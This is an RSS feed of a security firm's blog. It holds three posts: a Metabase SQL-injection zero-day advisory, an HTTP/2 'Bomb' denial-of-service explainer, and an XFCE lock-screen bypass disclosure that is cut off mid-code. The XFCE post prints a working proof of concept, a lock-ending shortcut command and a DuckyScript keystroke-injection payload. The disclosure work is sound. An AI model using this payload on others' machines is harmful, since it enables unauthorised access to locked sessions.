<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>AWARE7 Blog - IT Security, Pentesting &amp; Compliance</title><description>Hands-on articles on penetration testing, ISO 27001, NIS2, security awareness and cybersecurity from the practice of AWARE7 GmbH.</description><link>https://a7.de/</link><language>en</language><managingEditor>kontakt@a7.de (AWARE7 GmbH)</managingEditor><atom:link href="https://a7.de/en/blog/rss.xml" rel="self" type="application/rss+xml" xmlns:atom="http://www.w3.org/2005/Atom"/><image><url>https://a7.de/images/logos/aware7-logo.svg</url><title>AWARE7 Blog</title><link>https://a7.de/en/blog/</link></image><item><title>Zero-day vulnerability in internal tools: What the Metabase incident has triggered</title><link>https://a7.de/en/blog/zero-day-vulnerability-in-internal-tools/</link><guid isPermaLink="true">https://a7.de/en/blog/zero-day-vulnerability-in-internal-tools/</guid><description>A critical zero-day in Metabase hit Framework and Tally. What an exposed internal tool means for GDPR obligations and audit evidence.</description><pubDate>Tue, 11 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;what-is-a-zero-day-vulnerability&quot;&gt;What is a zero-day vulnerability?&lt;/h2&gt;
&lt;p&gt;A zero-day vulnerability is a security vulnerability that attackers are already exploiting, whilst the vendor has not yet released a patch. Organisations have literally zero days to prepare. This becomes particularly critical when the affected tool is operated in-house and the scope of its database access has never been documented.&lt;/p&gt;
&lt;h2 id=&quot;what-happened-during-the-metabase-incident-on-3-august-2026&quot;&gt;What happened during the Metabase incident on 3 August 2026&lt;/h2&gt;
&lt;p&gt;On 3 August 2026, Metabase identified active attacks on cloud-based and self-hosted installations. The cause was an unauthenticated SQL injection, rated with a CVSS Base score of 10.0 and a Temporal Score of 9.5 (CERT-Bund WID-SEC-2026-2715, no CVE ID assigned). Attackers injected SQL commands via the password reset endpoint and gained access to stored database credentials for all connected databases.&lt;/p&gt;
&lt;p&gt;In the case of the laptop manufacturer Framework, the data compromised included name, email address, telephone number, login IP address, and billing and delivery addresses, including company name. Order and payment details were not accessed. Investigations are still ongoing to determine whether tax identification numbers for business customers are also affected. In the case of the form service Tally, email addresses and password hashes were affected; forms and responses remained unaffected as they were stored separately.&lt;/p&gt;
&lt;blockquote class=&quot;callout-info&quot;&gt;
&lt;p&gt;&lt;strong&gt;Indicator of Compromise:&lt;/strong&gt; &lt;code&gt;POST /api/session/reset_password&lt;/code&gt; with HTTP status 400, immediately followed by &lt;code&gt;GET /api/user/current&lt;/code&gt; with HTTP status 200. This combination in the application and ingress logs of the Metabase server identifies the attack.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Versions in the 0.58 to 0.63 families are affected. Sources report this differently (heise: “58 to 63”; CERT-Bund: &lt;code&gt;&amp;lt; x.58.24&lt;/code&gt;), but are referring to the same version family. Confirmed minimum versions: 0.58.24, 0.59.21, 0.60.17, 0.61.11, 0.62.9, 0.63.5.&lt;/p&gt;
&lt;h2 id=&quot;why-internal-analytics-tools-are-an-underestimated-attack-surface&quot;&gt;Why internal analytics tools are an underestimated attack surface&lt;/h2&gt;
&lt;p&gt;Following a successful attack, the configuration, stored database credentials and all data accessible via these become accessible to the attacker. Following the incident, Framework had to review what data external analytics platforms were receiving. The company plans to restrict their access to only the database columns that are actually required.&lt;/p&gt;
&lt;p&gt;Self-hosted BI and monitoring tools with broad database access are easily overlooked in regular security cycles. Without an entry in the &lt;a href=&quot;https://a7.de/en/wiki/it-asset-management-itam-and-cybersecurity-inventory-everything/&quot;&gt;asset inventory&lt;/a&gt;, they are not included in &lt;a href=&quot;https://a7.de/en/wiki/enterprise-patch-management-systematic-vulnerability-remediation/&quot;&gt;patch management&lt;/a&gt; processes. This week’s Metabase incident was not an isolated case. On 7 August 2026, CISA added CVE-2026-8037 to its catalogue of known-exploited vulnerabilities: an unauthenticated command injection in Progress Kemp LoadMaster (CVSS 9.6). 792 exploit attempts originating from 65 IP addresses over 41 days demonstrate just how systematically such vulnerabilities are being exploited.&lt;/p&gt;
&lt;h2 id=&quot;immediate-measures-for-metabase-operators&quot;&gt;Immediate measures for Metabase operators&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Update to a secure minimum version: 0.58.24, 0.59.21, 0.60.17, 0.61.11, 0.62.9 or 0.63.5.&lt;/li&gt;
&lt;li&gt;If an immediate update is not possible: Block access to &lt;code&gt;/api/session/reset_password&lt;/code&gt; at the reverse proxy or in the firewall.&lt;/li&gt;
&lt;li&gt;Revoke all active user sessions.&lt;/li&gt;
&lt;li&gt;Check API keys and administrator accounts for unauthorised changes.&lt;/li&gt;
&lt;li&gt;Rotate the access credentials for all connected databases.&lt;/li&gt;
&lt;li&gt;Review application and ingress logs for IoC patterns.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A &lt;a href=&quot;https://a7.de/en/services/vulnerability-scanning/&quot;&gt;vulnerability scan&lt;/a&gt; reveals internally operated services of this kind before an attacker finds them.&lt;/p&gt;
&lt;h2 id=&quot;notification-obligations-and-gdpr-evidence&quot;&gt;Notification Obligations and GDPR Evidence&lt;/h2&gt;
&lt;p&gt;For organisations that operate their own Metabase instances and process personal data as part of that operation, two sets of obligations apply directly.&lt;/p&gt;
&lt;p&gt;Article 32(1)(d) of the GDPR requires a procedure for regularly reviewing the effectiveness of technical and organisational measures. Any tool missing from the asset inventory falls outside the scope of this procedure. Organisations that establish this evidence in a structured manner through a &lt;a href=&quot;https://a7.de/en/services/security-consulting/&quot;&gt;security consultancy&lt;/a&gt; have a robust basis for dealing with supervisory authorities and internal audits.&lt;/p&gt;
&lt;blockquote class=&quot;callout-warning&quot;&gt;
&lt;p&gt;Article 33 of the GDPR: If personal data is leaked, there is generally a 72-hour reporting deadline to the competent supervisory authority. The notification obligation does not apply if the breach is unlikely to result in a risk to the rights and freedoms of natural persons. The deadline begins when the breach becomes known, not when the investigation is concluded. Framework has informed the supervisory authorities and commissioned an IT forensic investigation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;assessment&quot;&gt;Assessment&lt;/h2&gt;
&lt;p&gt;The Metabase zero-day incident reveals a structural pattern: unauthenticated access to an internally operated tool with broad database access, which was not covered by the regular security cycle. By engaging forensic experts and supervisory authorities, Framework has fulfilled its obligations. Anyone wishing to prepare for this process will find a methodological introduction in the Practical Guide to Vulnerability Management.&lt;/p&gt;</content:encoded><category>Compliance &amp; Standards</category><author>kontakt@a7.de (Jan Hörnemann)</author></item><item><title>HTTP/2 Bomb (CVE-2026-49975): How One Home PC Crashes Web Servers</title><link>https://a7.de/en/blog/http2-bomb-cve-2026-49975-webserver-dos/</link><guid isPermaLink="true">https://a7.de/en/blog/http2-bomb-cve-2026-49975-webserver-dos/</guid><description>The AI-discovered HTTP/2 Bomb takes down Apache, nginx, Envoy and IIS in seconds. What CVE-2026-49975 is and how operators should respond now.</description><pubDate>Tue, 23 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;the-key-points-first&quot;&gt;The key points first&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;A single computer with an ordinary internet connection can crash vulnerable web servers within seconds.&lt;/strong&gt; The attack class is called the HTTP/2 Bomb. For Apache it is tracked as CVE-2026-49975, but nginx, Envoy and Microsoft IIS are affected as well. The attack does not rely on an exotic flaw. It uses legitimate HTTP/2 features that together flood the server&apos;s memory. Anyone running HTTP/2, which is often the default for TLS on port 443, should review the affected systems now.&lt;/p&gt;
&lt;h2 id=&quot;what-happened&quot;&gt;What happened&lt;/h2&gt;
&lt;p&gt;The security firm Calif disclosed the vulnerability in early June 2026. The path to it is notable: the researchers around Quang Luong used the AI agent OpenAI Codex to infer from public bug fixes where similar patterns might lurk in other servers. Codex chained two long-known ideas into a new and effective attack.&lt;/p&gt;
&lt;p&gt;Working proof-of-concept code has been on GitHub since 2 June 2026. That makes the attack reproducible for anyone who wants to use it.&lt;/p&gt;
&lt;h2 id=&quot;how-the-attack-works&quot;&gt;How the attack works&lt;/h2&gt;
&lt;p&gt;The HTTP/2 Bomb combines two building blocks. The mechanics can be explained at the level of principle, without providing a recipe.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The compression bomb.&lt;/strong&gt; HTTP/2 compresses headers with a scheme called HPACK. An attacker stores one large header in the dynamic HPACK table once, then references it thousands of times at minimal cost. Little traffic turns into huge header structures inside the server. The principle resembles a ZIP bomb, except it is not an unpacked file but the decompressed HTTP headers that flood memory. A flaw in counting split cookie headers also let attackers bypass the usual limit on the number of header fields in Apache.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The flow-control hold.&lt;/strong&gt; The attacker then sets the connection&apos;s flow-control window to zero and only sends tiny &lt;code&gt;WINDOW_UPDATE&lt;/code&gt; frames. The server can never finish its response but keeps the inflated headers in memory. This Slowloris-style technique pins the allocation until memory runs out.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The result is drastic. In tests by Calif and Radware, a single client on 100 Mbps reserved roughly 32 gigabytes of memory on Apache and Envoy in about 20 seconds. nginx and IIS became unreachable after around 45 seconds. Unlike volumetric attacks, this needs no botnet.&lt;/p&gt;
&lt;h2 id=&quot;which-servers-are-affected&quot;&gt;Which servers are affected&lt;/h2&gt;
&lt;p&gt;The HTTP/2 Bomb is a class, not a single bug. Patch status differs by product:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Apache HTTP Server&lt;/strong&gt; (CVE-2026-49975): versions 2.4.17 to 2.4.67 are affected. Fixed in 2.4.68, that is &lt;code&gt;mod_http2&lt;/code&gt; 2.0.41.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;nginx&lt;/strong&gt;: versions before 1.29.8 had no hard cap on the number of headers. The new &lt;code&gt;max_headers&lt;/code&gt; directive limits it to 1,000 by default.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Envoy&lt;/strong&gt; (CVE-2026-47774): fixed in 1.35.11, 1.36.7, 1.37.3 and 1.38.1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Microsoft IIS / HTTP.sys&lt;/strong&gt; (CVE-2026-49160): fixed via the June Patch Tuesday, plus the &lt;code&gt;MaxHeadersCount&lt;/code&gt; registry setting.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloudflare Pingora&lt;/strong&gt;: named as vulnerable in the research; a public patch status was initially unclear.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Reverse proxies can protect if they are not vulnerable themselves and enforce hard header limits. F5 rates BIG-IP as not affected because it already caps the number and size of decoded headers.&lt;/p&gt;
&lt;p&gt;Severity ratings diverge: CyCognito assigns CVSS 7.5 (high), Red Hat rates the issues as important, Apache itself rates them as moderate, and the NVD score was still pending at the time of writing. What matters is less the single number than your own exposure.&lt;/p&gt;
&lt;h2 id=&quot;why-this-matters-for-businesses&quot;&gt;Why this matters for businesses&lt;/h2&gt;
&lt;p&gt;A denial-of-service attack hits availability, not the confidentiality of data. For many organizations that is exactly the business-critical point: when a shop, portal or API stalls, the damage is immediate. Availability is also a mandatory topic under the &lt;a href=&quot;https://a7.de/en/blog/nis2-directive-the-complete-guide-for-businesses-in-germany/&quot;&gt;NIS2 directive&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Two points make the HTTP/2 Bomb especially relevant. First, HTTP/2 often runs by default: on TLS deployments on port 443 it is frequently pre-enabled, without the operator deliberately switching it on. Second, the attack is protocol-compliant: it uses permitted features, which makes it hard for classic network defenses to tell apart from normal traffic.&lt;/p&gt;
&lt;p&gt;The AI angle is more than a detail. Once a fix is public, automated analysis can find similar weaknesses across the ecosystem faster than manual audits. That shortens the window between disclosure and exploitation.&lt;/p&gt;
&lt;h2 id=&quot;what-to-check-this-week&quot;&gt;What to check this week&lt;/h2&gt;
&lt;p&gt;Concrete, without panic:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Map the inventory:&lt;/strong&gt; where is HTTP/2 terminated? This includes origin servers, reverse proxies, CDNs, load balancers and ingress controllers in the cluster. If HTTP/2 is terminated at a WAF, CDN or cloud load balancer, their patch status comes first: an upstream instance that is not vulnerable and enforces hard header limits shields the servers behind it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patch:&lt;/strong&gt; update Apache to 2.4.68, nginx to 1.29.8, Envoy to the listed versions, IIS via the June Patch Tuesday.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Where patching is not possible:&lt;/strong&gt; temporarily disable HTTP/2 (&lt;code&gt;Protocols http/1.1&lt;/code&gt; on Apache, &lt;code&gt;http2 off;&lt;/code&gt; on nginx). This is a stopgap: falling back to HTTP/1.1 costs multiplexing and therefore latency, but it removes the attack surface.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enforce limits:&lt;/strong&gt; cap the maximum number and size of headers separately, including cookie fragments, plus the number of concurrent streams per connection.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cap memory:&lt;/strong&gt; in container environments, set memory limits for proxy and gateway pods so a single process cannot take down the whole host.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;common-question-is-this-only-an-apache-problem&quot;&gt;Common question: is this only an Apache problem?&lt;/h2&gt;
&lt;p&gt;No. CVE-2026-49975 is the Apache variant, but the same mechanics of HPACK amplification and flow-control hold were demonstrated against nginx, Envoy, Microsoft IIS and Cloudflare Pingora. Patching only Apache while overlooking other HTTP/2 endpoints closes the gap only partly. The threat should be treated as a class, not a single CVE.&lt;/p&gt;
&lt;h2 id=&quot;assessment&quot;&gt;Assessment&lt;/h2&gt;
&lt;p&gt;The HTTP/2 Bomb follows known protocol attacks such as the HPACK Bomb (2016) and Rapid Reset (2023) and extends their principle. What is new is less the technique than the speed at which AI-assisted analysis finds such chains and transfers them across implementations. For operators the answer stays concrete: know your HTTP/2 endpoints, patch them, enforce header and stream limits. Web applications and their upstream servers belong in the scope of a regular &lt;a href=&quot;https://a7.de/en/services/penetration-testing/web-app/&quot;&gt;web application penetration test&lt;/a&gt;. Some patch states, for example Pingora, were still in flux at the time of publication, so it is worth checking the vendor advisories.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Author: Chris Wojzechowski, Managing Director AWARE7, IT security. Sources: Calif (original analysis), NVD, Red Hat, CyCognito, Radware, F5, GovCERT Hong Kong and the nginx documentation.&lt;/em&gt;&lt;/p&gt;</content:encoded><category>Offensive Security</category><author>kontakt@a7.de (Chris Wojzechowski)</author></item><item><title>XFCE Screensaver Vulnerability: Lock-Screen Bypass via Monitor Switch</title><link>https://a7.de/en/blog/xfce-screensaver-bypass/</link><guid isPermaLink="true">https://a7.de/en/blog/xfce-screensaver-bypass/</guid><description>Understand how a race condition in xfce4-screensaver up to 4.20.2 lets keystrokes bypass the lock screen during a monitor switch, and how to fix it.</description><pubDate>Sun, 03 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Short answer:&lt;/strong&gt; The &lt;code&gt;xfce4-screensaver&lt;/code&gt; has a vulnerability that bypasses the lock screen during a monitor switch or when an HDMI cable is unplugged and plugged back in. The root cause is a timing window between &lt;code&gt;XUngrabServer&lt;/code&gt; and the new window grab in which X11 forwards keyboard input to background processes. Our fix enforces an explicit focus reset via &lt;code&gt;XSetInputFocus&lt;/code&gt; before the new grab and was submitted upstream on 2026-03-11 as &lt;a href=&quot;https://gitlab.xfce.org/apps/xfce4-screensaver/-/merge_requests/60&quot;&gt;merge request #60&lt;/a&gt; of xfce4-screensaver.&lt;/p&gt;
&lt;h2 id=&quot;which-systems-are-affected-by-the-xfce-screensaver-bypass&quot;&gt;Which systems are affected by the XFCE screensaver bypass?&lt;/h2&gt;
&lt;p&gt;All Linux systems using &lt;code&gt;xfce4-screensaver&lt;/code&gt; as their lock screen are affected, confirmed up to version 4.20.2. In our analysis we reproduced the behavior on Qubes OS and on a fresh Kali Linux installation. Because the root cause lies in the interaction with the X11 window manager, other XFCE-based distributions - Xubuntu, Manjaro XFCE, Linux Mint XFCE - are very likely vulnerable as well.&lt;/p&gt;
&lt;p&gt;We first noticed the issue on Qubes OS. Its security model is built on strict isolation: applications run in separate virtual machines, and input events pass through &lt;code&gt;sys-usb&lt;/code&gt; or &lt;code&gt;sys-net&lt;/code&gt; before reaching the AppVM.&lt;/p&gt;
&lt;p&gt;These additional hops widen the timing window in which keyboard input slips past the lock screen. In our case, they made the bug reproducible in the first place. The Qubes OS security design is not the cause - it is the microscope that made the defect visible.&lt;/p&gt;
&lt;p&gt;The screensaver is a particularly sensitive component. It decides whether a locked session can be used without a password. If it fails, the other protection mechanisms usually no longer apply.&lt;/p&gt;
&lt;h2 id=&quot;how-does-the-vulnerability-work-technically&quot;&gt;How does the vulnerability work technically?&lt;/h2&gt;
&lt;p&gt;The bypass is a race condition between releasing and reacquiring an X11 server grab. X11 processes keyboard and mouse events centrally through the X server; a screen locker claims these events exclusively by installing a server grab. If the grab is released before the new one is established, input lands in whatever window currently holds focus.&lt;/p&gt;
&lt;p&gt;When a monitor switches or the HDMI signal disappears, &lt;code&gt;xfce4-screensaver&lt;/code&gt; recreates the login window. To do so, it releases the existing grab (&lt;code&gt;XUngrabServer&lt;/code&gt;) and requests a new one once the new window is available.&lt;/p&gt;
&lt;p&gt;Depending on the system, there is a time window of about a few hundred milliseconds between the two operations, during which keyboard inputs are passed on to background processes. Anyone with a terminal or editor open in the background types directly into it - no authentication required.&lt;/p&gt;
&lt;p&gt;This becomes critical when combined with shortcuts. A user who has bound a key to &lt;code&gt;xfce4-screensaver-command --exit&lt;/code&gt; or opens a terminal via &lt;code&gt;CTRL+ALT+T&lt;/code&gt; can end the screen lock on demand. That is the real attack vector.&lt;/p&gt;
&lt;h2 id=&quot;how-did-we-discover-the-bypass&quot;&gt;How did we discover the bypass?&lt;/h2&gt;
&lt;p&gt;We found the behavior while setting up a new Qubes OS machine - not by targeted search, but by accident. After a roughly 15-minute break and unlocking the session, we noticed seemingly random characters in a browser text field. They were keystrokes we had used to wake the machine, and they had clearly been handled by the background browser rather than the lock screen.&lt;/p&gt;
&lt;p&gt;The cause was easy to isolate. The behavior was reproducible whenever an external monitor lost its HDMI signal while the system was locked and the system reinitialized the monitor after key input. The same effect occurred when we unplugged and replugged the HDMI cable in the locked state.&lt;/p&gt;
&lt;p&gt;In our pentest practice we regularly see that screen lockers are the last line of defense when physical access is a threat. A bypass triggered by a trivial hardware action - unplugging a cable - lowers the attack threshold significantly, especially in coworking spaces or conference rooms.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;The moment a keystroke on a locked system ended up in a background browser, it was clear this was not cosmetic. Combining monitor reinitialization with X11 grab release opens a window large enough to consistently type into an unlocked shell using a LilyGo T-Dongle S3.&quot;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Murat Altindis&lt;/strong&gt;, Offensive Security Consultant, AWARE7 GmbH&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;how-can-the-exploit-be-reproduced&quot;&gt;How can the exploit be reproduced?&lt;/h2&gt;
&lt;h3 id=&quot;manual-proof-of-concept&quot;&gt;Manual proof of concept&lt;/h3&gt;
&lt;p&gt;The simplest confirmation is a custom shortcut - &lt;em&gt;F7&lt;/em&gt;, for example - that opens a terminal and terminates the screensaver:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;xfce4-terminal&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -x&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; bash&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;xfce4-screensaver-command --exit&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Inside the timing window after the monitor reset, the system does not route the shortcut into the lock screen but into the background application. The terminal starts, the command executes, the lock screen is released without a password.&lt;/p&gt;
&lt;h3 id=&quot;automation-with-the-lilygo-t-dongle-s3&quot;&gt;Automation with the LilyGo T-Dongle S3&lt;/h3&gt;
&lt;p&gt;On Kali Linux with the current &lt;code&gt;xfce4-screensaver 4.20.2&lt;/code&gt;, the timing window was too short for manual input. For reliable reproduction we used a &lt;a href=&quot;https://www.lilygo.cc/&quot;&gt;LilyGo T-Dongle S3&lt;/a&gt; - an ESP32-S3 device that the system recognizes as a USB keyboard. We flashed it with the open-source &lt;a href=&quot;https://github.com/i-am-shodan/USBArmyKnife&quot;&gt;USBArmyKnife&lt;/a&gt; project, which runs DuckyScript directly on the ESP32-S3.&lt;/p&gt;
&lt;p&gt;The payload is minimal:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;KEYBOARD_LAYOUT win_de-DE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;CTRL ALT T&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;DELAY 50&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;STRING xfce4-screensaver-command --exit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ENTER&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Walk-through: the German keyboard layout ensures that special characters are transmitted correctly. &lt;code&gt;CTRL ALT T&lt;/code&gt; opens a terminal, a 50-millisecond delay gives the shell time to load, the &lt;code&gt;STRING&lt;/code&gt; line types the command character by character, &lt;code&gt;ENTER&lt;/code&gt; executes it. Timing was resolved by brute force: we repeated the sequence until it landed inside the window.&lt;/p&gt;
&lt;h2 id=&quot;where-is-the-root-cause-in-the-source-code&quot;&gt;Where is the root cause in the source code?&lt;/h2&gt;
&lt;p&gt;For root-cause analysis we cloned &lt;code&gt;xfce4-screensaver&lt;/code&gt; from its &lt;a href=&quot;https://gitlab.xfce.org/apps/xfce4-screensaver.git&quot;&gt;official GitLab repository&lt;/a&gt;, built it locally, and replaced the installed binary with our debug version. Millisecond-resolution log lines then let us correlate code paths with the observed leak.&lt;/p&gt;
&lt;p&gt;The key location is the grab release:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gs_debug&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;*** Releasing X server grab&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdk_x11_display_ungrab&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (display);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdk_display_flush&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (display);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The leak appeared delayed, roughly a few hundred milliseconds after this call, depending on the system. An existing comment in the code showed that the maintainers were aware of the general risk - apparently without knowing it amounted to a real bypass:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;#ifdef&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ENABLE_X11&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    /*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;     * It doesn&apos;t prevent all leaks, but it&apos;s better than nothing. Preventing all leaks would&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;     * probably require keeping the grab on the overlay permanently and passing events to the&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;     * screensaver windows, which seems overly complicated given what&apos;s at stake.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;     */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (manager&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;priv&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;grab &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;!=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; NULL&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        gs_grab_move_to_window&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (manager-&amp;gt;priv-&amp;gt;grab,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;                                gtk_widget_get_window&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (manager-&amp;gt;priv-&amp;gt;overlay),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                                display, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;FALSE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;FALSE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;#endif&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The actual culprit is &lt;code&gt;gdk_x11_display_ungrab&lt;/code&gt;, which ends up calling &lt;code&gt;XUngrabServer&lt;/code&gt; from the &lt;a href=&quot;https://gitlab.freedesktop.org/xorg/lib/libx11&quot;&gt;X11 library&lt;/a&gt; via the &lt;a href=&quot;https://gitlab.gnome.org/GNOME/gtk/-/blob/main/gdk/x11/gdkdisplay-x11.c&quot;&gt;GDK library&lt;/a&gt;:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;void&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdk_x11_display_ungrab&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (GdkDisplay &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;display&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  GdkX11Display &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;display_x11;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  g_return_if_fail&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;GDK_IS_DISPLAY&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (display));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  display_x11 &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; GDK_X11_DISPLAY&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (display);&lt;/span&gt;&lt;/span&gt;
